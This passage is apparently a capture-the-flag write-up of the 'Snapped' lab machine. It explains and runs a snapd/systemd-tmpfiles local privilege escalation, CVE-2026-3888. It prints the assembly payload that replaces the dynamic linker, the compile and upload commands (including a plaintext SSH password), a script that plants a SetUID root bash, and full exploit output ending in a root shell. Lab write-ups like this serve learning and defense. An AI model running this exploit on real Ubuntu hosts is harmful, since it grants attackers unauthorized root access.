drwxr-xr-x 15 root root 4096 Mar 20 12:05 var
Both opt and srv are empty.
OS and Kernel
The operating system is Ubuntu 24.04 LTS:
jonathan@snapped:/$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
The kernel is 6.17.0 from March 6, less than three weeks before this box’s release:
jonathan@snapped:/$ uname -a
Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Services / Snap
There are a bunch of running services on Snapped:
jonathan@snapped:~$ systemctl list-units --type=service --state=running 2>/dev/null | head -30
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
colord.service loaded active running Manage, Install and Generate Color Profiles
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
fwupd.service loaded active running Firmware update daemon
gdm.service loaded active running GNOME Display Manager
gnome-remote-desktop.service loaded active running GNOME Remote Desktop
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
ModemManager.service loaded active running Modem Manager
NetworkManager.service loaded active running Network Manager
nginx-ui.service loaded active running nginx-ui
nginx.service loaded active running A high performance web server and a reverse proxy server
open-vm-tools.service loaded active running Service for virtual machines hosted on VMware
polkit.service loaded active running Authorization Manager
power-profiles-daemon.service loaded active running Power Profiles daemon
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
snapd.service loaded active running Snap Daemon
ssh.service loaded active running OpenBSD Secure Shell server
switcheroo-control.service loaded active running Switcheroo Control Proxy service
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running User Login Management
systemd-oomd.service loaded active running Userspace Out-Of-Memory (OOM) Killer
systemd-resolved.service loaded active running Network Name Resolution
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running Rule-based Manager for Device Events and Files
Nothing unexpected here. The snapd service points to Snap, a software packaging and deployment system developed by Canonical for Ubuntu. snap is running version 2.63.1:
jonathan@snapped:~$ snap version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
CVE-2026-3888
Identification
This one would be tricky to know to research except for the box name pointing at it, and that this vulnerability was making the rounds in the news about two weeks ago, a week before this box was released out of the normal cycle.
Searching for cves in this version of snap points to CVE-2026-3888:
Other than the Dirty Sock repo for some reason (which I played with years ago), the rest are pointing at CVE-2026-3888 about two weeks ago.
Background
NIST describes CVE-2026-3888 as:
Local privilege escalation in snapd on Linux allows local attackers to get root privilege by re-creating snap’s private /tmp directory when systemd-tmpfiles is configured to automatically clean up this directory. This issue affects Ubuntu 16.04 LTS, 18.04 LTS, 20.04 LTS, 22.04 LTS, and 24.04 LTS.
The Ubuntu security page shows it is fixed in 24.04 with version 2.73:
This is another bug from Qualys, first reported in their post, CVE-2026-3888: Important Snap Flaw Enables Local Privilege Escalation to Root. The issue comes from an interaction between two safety mechanisms:
- snap-confine: Manages execution environments for snap applications (set-user-ID-root or set capabilities).
- systemd-tmpfiles: Automatically cleans up temporary files and directories older than a defined threshold.
The steps to exploit are as follows:
- The attacker must wait for the system’s cleanup daemon (30 days in Ubuntu 24.04; 10 days in later versions) to delete a critical directory (/tmp/.snap) required by snap-confine.
- Once deleted, the attacker recreates the directory with malicious payloads.
- During the next sandbox initialization, snap-confine bind-mounts these files as root, allowing the execution of arbitrary code within the privileged context.
It’s a bit more complex than that. The snap-confine binary is SetUID root. When a user runs a snap (e.g. Firefox), it sets up a mount namespace. Part of that involves creating “mount mimics”, copying directory trees into /tmp/.snap/ so it can create writable mountpoints in otherwise read-only paths. If /tmp/.snap doesn’t exist (such as when systemd-tmpfiles deleted it), snap-confine rebuilds it. If an attacker can create /tmp/.snap first with attacker-owned content, snap-confine (running as root) will bind-mount those files into the namespace.
The trick used to exploit this is to replace ld-linux-x86-64.so.2 (the dynamic linker) with a binary that takes some attacker desired action. When SetUID snap-confine loads it, it will run whatever the attacker put in that library as root.
Searching for POCs for this exploit, there’s one by TheCyberGeek, who happens to be a co-author on Snapped.
Timers
This exploit relies on the Systemd timer that is looking for files and directories in temp locations older than 30 days to clean up. It is running here every minute:
jonathan@snapped:/$ systemctl list-timers systemd-tmpfiles-clean
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2026-03-29 22:30:05 EDT 5s Sun 2026-03-29 22:29:05 EDT 54s ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
1 timers listed.
Pass --all to see loaded but inactive timers, too.
The default is for 30 days, but here it’s been updated to 4 minutes:
jonathan@snapped:/$ cat /usr/lib/tmpfiles.d/tmp.conf
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
# See tmpfiles.d(5) for details
# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 4m
#q /var/tmp 1777 root root 30d
Prep
To run the exploit, I’ll need to download TCG’s POC scripts. There are two versions, one that works for a SetUID snap-confine (like on Ubuntu 24.04), and one that works on a snap-confine with capabilities. For Snapped, it’s SetUID (as expected for this OS):
jonathan@snapped:~$ ls -l /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 159016 Aug 20 2024 /usr/lib/snapd/snap-confine
I’ll clone the repo and check out the code. I’m going to walk through the steps of the exploit itself as I run it. The payload is librootshell_suid.c:
/*
* librootshell.so — replaces ld-linux-x86-64.so.2
* Calls setreuid(0,0) then execve(/tmp/sh)
* Compile: gcc -nostdlib -static -o librootshell.so librootshell_suid.c
*/
void _start(void) {
/* setreuid(0, 0) */
__asm__ volatile (
"xor %%rdi, %%rdi\n"
"xor %%rsi, %%rsi\n"
"mov $0x71, %%rax\n" /* __NR_setreuid = 113 */
"syscall\n"
::: "rax", "rdi", "rsi"
);
/* setregid(0, 0) */
__asm__ volatile (
"xor %%rdi, %%rdi\n"
"xor %%rsi, %%rsi\n"
"mov $0x72, %%rax\n" /* __NR_setregid = 114 */
"syscall\n"
::: "rax", "rdi", "rsi"
);
/* execve("/tmp/sh", {"/tmp/sh", NULL}, NULL) */
__asm__ volatile (
"mov $0x68732f706d742f, %%rax\n" /* "/tmp/sh\0" */
"push %%rax\n"
"mov %%rsp, %%rdi\n" /* path = "/tmp/sh" */
"push $0\n"
"push %%rdi\n"
"mov %%rsp, %%rsi\n" /* argv = {"/tmp/sh", NULL} */
"xor %%rdx, %%rdx\n" /* envp = NULL */
"mov $0x3b, %%rax\n" /* __NR_execve = 59 */
"syscall\n"
::: "rax", "rdi", "rsi", "rdx"
);
}
It’s C code but it’s all assembly because this replaces the dynamic linker itself, which means there’s no way to load shared libraries, so the C standard library isn’t available. It makes three system calls:
setreuid(0, 0)- Set the process user id to 0 (root)setregid(0 ,0)- Set the process group id to 0 (root)execve(/tmp/sh)- Runshto start a shell.
I’ll compile the two binaries needed for the exploit:
oxdf@hacky$ gcc -O2 -static -o exploit exploit_suid.c
...[snip]...
oxdf@hacky$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
oxdf@hacky$ ls exploit librootshell.so
exploit librootshell.so
There are a bunch of warnings that don’t matter on the first compile, and afterwards two new binaries are present. I’ll upload them to Snapped with SCP:
oxdf@hacky$ sshpass -p linkinpark scp exploit librootshell.so jonathan@snapped.htb:/tmp/
Exploit
The exploit takes a few minutes to work. In the real world it could take up to 30 days, but here there’s a 4 minute clock. It runs on its own, but I’ll show what’s happening as it moves through its 7 phases.
I’ll run the exploit giving it the payload library as an argument:
jonathan@snapped:/tmp$ ./exploit librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/librootshell.so (9152 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3083
Phase one creates a shell inside the Firefox snap namespace. It runs cd /tmp; sleep 86400, but /tmp is actually /tmp/snap-private-tmp/snap.firefox/tmp. As a non-root user, I can’t access this directory. But I can get to it from /proc noting the process id:
jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 12
drwxrwxrwt 4 root root 4096 Mar 30 15:18 .
drwxr-xr-x 21 root root 540 Mar 30 15:17 ..
drwxr-xr-x 4 root root 4096 Mar 30 15:17 .snap
drwxrwxrwt 2 root root 4096 Mar 30 15:12 .X11-unix
Phase 2 is to wait for the cleanup to happen:
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
The last line only shows up once the .snap directory above is deleted. On Snapped, this is running every minute for files older than 4 minutes (rather than 30 days in standard deployments). After five minutes, the cleanup has come through, and the same directory as above is now empty:
jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 4
drwxrwxrwt 2 root root 4096 Mar 30 15:21 .
drwxr-xr-x 21 root root 540 Mar 30 15:17 ..
Phase 3 destroys the cached mount namespace. snap-confine caches mount namespaces so it can reuse them on subsequent snap launches without rebuilding. If the old cached namespace still exists, snap-confine would reuse it and never read anything from /tmp/.snap, which means the attacker’s poisoned directory would be ignored. By forcing an error, the exploit ensures the next snap launch has to build a fresh namespace from scratch, which is when it will pick up the attacker’s content:
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_noOPwb//dev: No such file or directory
[+] Namespace destroyed.
Phase 4 is the race condition:
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3083/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3718)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 3718
This is the core of the exploit. It first creates a legitimate .snap directory tree, then starts snap-confine. When snap-confine begins building the mount namespace, it validates the .snap directory and passes the check. But before snap-confine gets to the bind-mount step, the exploit uses rename() to atomically swap the legitimate .snap with a malicious one containing the attacker’s payload in place of ld-linux-x86-64.so.2. Since snap-confine doesn’t re-validate after the swap, it bind-mounts the attacker’s content into the namespace. After winning the race, I’ll see .snap back again, this time owned by jonathan:
jonathan@snapped:~$ ls -la /proc/3083/root/tmp/
total 20
drwxrwxrwt 4 root root 4096 Mar 30 15:22 .
drwxr-xr-x 21 root root 540 Mar 30 15:17 ..
-rw-rw-r-- 1 jonathan jonathan 22 Mar 30 15:22 race_perms.txt
-rw-rw-r-- 1 jonathan jonathan 5 Mar 30 15:22 race_pid.txt
drwxr-xr-x 4 jonathan jonathan 4096 Mar 30 15:22 .snap
drwxr-xr-x 2 root root 4096 Mar 30 15:22 .X11-unix
jonathan@snapped:~$ ls -la /proc/3083/root/tmp/.snap/usr/lib/x86_64-linux-gnu | head -5
total 50960
drwxr-xr-x 16 jonathan jonathan 12288 Mar 30 15:22 .
drwxr-xr-x 4 jonathan jonathan 4096 Mar 30 15:22 ..
drwxr-xr-x 2 jonathan jonathan 4096 Mar 30 15:22 audit
drwxr-xr-x 2 jonathan jonathan 4096 Mar 30 15:22 cryptsetup
All of the libraries in /proc/3083/root/tmp/.snap/usr/lib/x86_64-linux-gnu are owned by jonathan.
It’s also written files with the permissions and pid for the next steps:
jonathan@snapped:~$ cat /proc/3083/root/tmp/race_perms.txt
jonathan:jonathan 755
jonathan@snapped:~$ cat /proc/3083/root/tmp/race_pid.txt
3718
Phase 5 involves injecting my payload into the poisoned namespace. Since the real dynamic linker has been replaced, only statically linked binaries will work in this namespace. The exploit puts a statically linked copy of busybox into the poisoned tmp:
jonathan@snapped:~$ file /proc/3718/root/tmp/busybox
/proc/3718/root/tmp/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=351ba74c282274bdd56e030c641d226cab5c14b7, for GNU/Linux 3.2.0, stripped
And a shell script:
jonathan@snapped:~$ cat /proc/3718/root/tmp/sh
#!/tmp/busybox sh
/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash
/tmp/busybox chmod 04755 /var/snap/firefox/common/bash
It’s also overwritten the loader library with the SetUID payload:
jonathan@snapped:~$ md5sum /proc/3718/root/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
460ccba80644d82ff7fef5fffe31d9be /proc/3718/root/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
jonathan@snapped:~$ md5sum librootshell.so
460ccba80644d82ff7fef5fffe31d9be librootshell.so
So the full chain at this point is: snap-confine (SetUID root) will load the fake ld-linux-x86-64.so.2 (which is librootshell.so), which calls setreuid(0,0) and execve("/tmp/sh"). The /tmp/sh script uses busybox to copy /bin/bash to /var/snap/firefox/common/bash and set it SetUID root. That path is chosen because it’s writable from inside the snap namespace but accessible from the host, so the SUID bash persists after the namespace exits.
Phase 6 triggers this chain:
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine -> snap-confine (SUID trigger)
[*] Exit status: 0
After this phase, there’s a SetUID bash copy in the Firefox snap directory:
jonathan@snapped:~$ ls -la /var/snap/firefox/common/bash
-rwsr-xr-x 1 root jonathan 1396520 Mar 30 15:27 /var/snap/firefox/common/bash
Stage 7 just runs that SetUID bash to get a shell:
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1#
And I can read the root flag:
bash-5.1# cat root.txt
b427e509************************
